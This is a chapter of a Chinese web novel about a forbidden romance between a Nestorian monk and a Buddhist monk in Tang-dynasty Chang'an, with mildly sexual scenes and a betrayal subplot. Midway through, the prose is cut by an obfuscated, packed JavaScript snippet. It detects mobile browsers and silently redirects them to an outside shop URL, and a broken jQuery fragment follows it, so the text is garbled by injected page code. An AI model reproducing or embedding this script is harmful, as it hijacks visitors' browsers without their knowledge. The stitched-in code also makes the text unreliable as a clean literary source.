文趣网 > 其他小说 > [唐]火烧戒 > 25.珍珠
    日落之时,慧迟需例行晚课,便在垫上盘坐下来,手捻舍利佛珠,口中喃喃念经。

    颇朗也走出殿外,面西向着家乡与圣城的方向跪拜,心中默念大卫王的悔罪诗篇。

    面对主教大人的指责他虽强硬回击,可此时单独面对他的神,他却不免心虚战栗。

    是啊,虽然不愿承认,可他的心的确变了。他的眼里多了一个人,一个和他同样身为男子、本该献身给各自的神的人。

    他的人生原本如沙漠中的孤径,唯一的终点指向天国的大门;如今他却迷失在一片郁葱的绿洲,那里有清澈的泉眼和拂面的微风。

    主教大人常说,天父不会给人他所不能经受的考验。这是否意味着,他终将迷途知返,有一天他定会走出那片绿洲?

    那绿洲呢?那片绿洲自然也不会因他的告别而枯竭,定会有别的旅人走他走过的路、吻他吻过的微风……

    颇朗心中升起无尽的悲凉,还没有到离开的时候,他就已经开始舍不得他的绿洲。

    忽有甜美的气息吹面,颇朗睁开眼,发现慧迟跪坐在他面前,正用手指摸他脸颊。

    “颇朗,你怎么哭了?”慧迟的眼睛如黑曜石般闪耀,又似一潭望不见底的深水,颇朗定定看进去,怎么也挪不开眼。

    “好了,不念了,我教你写字吧!”慧迟拉他起来,带他回到烛光跃动的佛殿中。

    这傻子又偷懒,颇朗心想,崇福寺的晚课少说也要做半个时辰,才这么一会儿就念完了?

    慧迟用手指蘸取桶里的水,在青石地板上写画:“上回教你的字儿,可还记得?”

    颇朗点点头,蘸水写出“慧迟”、“颇朗”。

    慧迟高兴得拍巴掌:“好,写得好!《佛说四十二章经》廿五,你练过的,可会写了?”

    讲女人烫手的那篇佛经?这可难住颇朗了。上回他的确写了整整两面,可他并不知道那些字都是什么意思,只是像画画一样照着经卷上临摹下来,如今哪还记得。

    慧迟满眼期待地望着他,他不想显得自己蠢笨,脸涨得通红,四处乱瞟躲避慧迟的目光。

    却见殿门外的夜空中高悬着一道乳汁泼洒般的璀璨星河。颇朗如获救星,指着那条神的足迹叫慧迟看。

    “呀!银河!”慧迟果然被吸引过去,甩甩手雀跃着跑了出去,

    两人并肩坐在殿外石阶上,齐齐仰头看得入迷。

    沙漠里的晴朗夏夜也能看见星河,经文里说,星河是神在天上遥观地下的国,留下的那道光辉的足迹。

    颇朗仔细观瞧,惊觉记忆中家乡的星河,竟与长安山中月下的别无二致,难道相隔万里的两地,头顶竟是同一片天、同一条河?

    这么说来,景教的天堂与菩提教的天堂,难道也是在一处?至少相距不远吧,说不定也同崇福寺与圣教堂一样,只隔着一条窄窄的小巷。

    颇朗扭头看着慧迟如神明般完美的侧脸,心中又燃起一丝希望。等他的灵魂升入天国之后,说不定又能见到已得道成佛的慧迟了。

    只是中间还要经过一段布满荆棘的恕罪之路。

    夜里颇朗将殿门关紧,留了一盏灯烛未熄,慧迟却仍有些害怕,紧紧抱着他不放。

    与慧迟肌肤相贴的亲密接触,带来令人血液加速、心惊肉跳的快感,却又伴随着如火焚身的痛楚。舒服与疼痛交织在一起,密不可分,正如救主所说,人生而有罪,他犯的罪亦是他受的罚。

    颇朗睡不着,又舍不得醒,只能呆望着那名为藻井的美丽天花兀自煎熬。

    后半夜,仅剩的烛火油尽灯熄,黑暗吞没了一切。

    不知过了多久,怀中人发出一声喃喃梦呓。颇朗轻轻拍着慧迟脊背,却感到慧迟夹着他一条腿的双股活动起来。

    慧迟呼呼喘着气,夹着他大腿不住地蹭,须臾出了一身汗。

    这是在……干什么呢?颇朗看清他的动作,顿时面红耳热。

    可慧迟眉头紧锁,双眼紧闭,好像仍在梦中,并未清醒。

    颇朗也热出一头大汗,却不知该不该推醒他。

    犹豫着犹豫着,只见慧迟哼的一声,两腿猛地一蹬,然后迅速归于平静,很快又睡死过去。

    这傻子梦见什么了?这是把他当什么东西用呢?颇朗又羞又恼,身上热得发烫,更睡不着了。

    第二天一早,慧迟被湿凉的晨露冻醒,发现自己裤子湿了一片,便一脸懵怔地低头忘呆。

    颇朗靠在殿门边冷眼看着,心中忍不住犯嘀咕,这人知不知道自己半夜干了什么?那时到底是在梦中,还是醒着?究竟是无意还是存心?

    又等了一会儿,见慧迟仍傻在那里,颇朗便走过去向慧迟伸手,把人拉起来。

    方才他趁慧迟没醒,已经去四周转了一圈。寺后不远处有一道山涧,水流清澈平缓,涧底是圆润的鹅卵石,恰似天然的浴场。

    颇朗带慧迟来到水边,指指慧迟身上的脏污,示意他连人带裤子一同洗洗。

    慧迟也不扭捏,嘻嘻笑着褪去衣裤,便扑进水里。

    颇朗捡了些枯枝落叶堆在大石上,从怀中掏出火折,准备生火替慧迟烤衣服。

    慧迟坐在水里,扔石头、打水花,用衣服裤子兜水,玩得不亦乐乎。

    架子搭好了,眼看着一堆柴火就要烧尽,慧迟还不上来,衣服也不知洗没洗好。

    颇朗走到水边叫他,他“嗯嗯”答应着,说“好了好了,来了”,却始终不出水。颇朗只得蹚水过去,拽着他胳膊把他带回岸边。

    湿衣服搭在火边的架子上冒着白汽,颇朗脱下上衣裹在慧迟身上,慧迟却仍冷得牙齿打架,嘴唇都青紫了。

    怕他冻坏了,颇朗便先送他回铁阑寺避避风。

    慧迟看起来瘦弱,其实只是骨架子小,身上不少地方着实有些肉。颇朗两手托着他肉墩墩的大腿根,把他背在背上,回铁阑寺的一路上,两人都红着脸,谁也不吱声。

    那天晚上慧迟又要抱着颇朗睡,颇朗起初不肯,却经不住他委屈巴巴地恳求,最终还是屈服了。

    可这对颇朗来说未免太过煎熬,睁眼闭眼全是慧迟梦里予取予求的模样,隔着衣服也仿佛能触摸到慧迟柔滑肉感的肌肤;肆意生长的肢体愈发疼了,疼得他直冒冷汗,疼得想哭。

    但他舍不得放开,即便在慧迟熟睡过去之后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805493|208480||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    救主曾把救赎比喻成珍珠,买卖人遇见一颗上好的珍珠,就变卖自己拥有的一切,只为买下这颗珍珠。

    可颇朗除了自己一无所有,没有什么可变卖的。

    他感觉自己更像是产珍珠的珠蚌,他想要一颗珍珠,就只能用自己的血肉之躯包裹灵魂的杂质,经过无数次疼痛的砥砺,最终他和他的珍珠骨肉相融,紧紧拥抱一起。

    无眠的长夜里,他在最痛苦无助的时候,忍不住把脸埋进慧迟怀里哭泣。

    “玛格瑞塔斯。”他用神的话语呼唤慧迟,这个词的意思是珍珠。

    却说颇朗带慧迟离开崇福寺后,阿罗本怀着一腔怨怼回到僧舍里,气得将脖子上的银十字拽下来,重重摔在床铺上。

    为什么,为什么,为什么?天父,这究竟是为什么?

    每一次,他以为终于找到另一个与他自己一样拥有坚不可摧意志的灵魂、一个绝不可能被玷污的完美圣徒,他以为天父终于为他赐下一个值得他倾佩、足以与他并肩的伙伴,可最终他的希望又一次落空,他的伙伴又一次被妇人般慈弱的男子吸引、沦为丑陋欲望的奴仆!

    亲手处决上一任戒律执事后,他曾陷入深深的绝望。可当十指沾满野兽鲜血的少年颇朗来到他面前时,那双几乎褪去所有人性的圣洁双眼,又点燃他内心的热望。

    他以为这一次神会好好给他补偿,他以为他亲手教养出来的男人不会令他失望。

    好好的人,为什么会被轻易腐蚀?天父,你到底有没有造出过一个完美的灵魂?你是不能,还是不愿?

    不知不觉中,阿罗本将前几日译好的几页汉文圣经撕得粉碎,等他意识到自己被愤怒左右做了什么,又懊恼得抱头跪倒在地。

    第二天一早,僧舍的门被人敲响。

    趴在桌案上抄了一夜经的阿罗本急忙收拾好脸色,深吸一口气拉开房门。

    门外站着双臂抱刀的广毅。

    “主教大人。”广毅看似在笑,话语中却没有一丝温度,“日子到了,你答应好的‘报酬’,该结清了吧?”

    “当然。”阿罗本也报以冰冷的微笑。

    那天去长安县衙救颇朗之时,他根本毫无胜算。智行与慧深编的故事漏洞百出,哪能骗过广毅这样的老猎人,阿罗本敢去,是因为他手上有足以说服广毅网开一面的东西。

    对于广毅这样的人来说,几条胡商的性命根本无关紧要;崇福寺的秘密,却是能令他升官发财、一步登天的宝贝。

    “我见到了你说的人,不错,正是当年从我手里溜走的那条漏网之鱼。不过,光凭我一面之词还不够,我需要一个担保,一条毋庸置疑、板上钉钉的铁证。”广毅毫不委婉,可谓图穷匕见。

    “你来晚了一步,广毅大人。他们又叫我徒弟把人带走了,我也没能拦住。”主教大人摊手表示遗憾。

    广毅却笑道:“不不,一点儿也不晚,时间刚刚好。你知道今日来寺里拜月的是谁吗?只要我把那个人带回崇福寺,他身上的血自会替我作证。”

    阿罗本在胸前画了个十字,沉声道:“这便与我无关了。城北山中铁阑寺,人在那里。”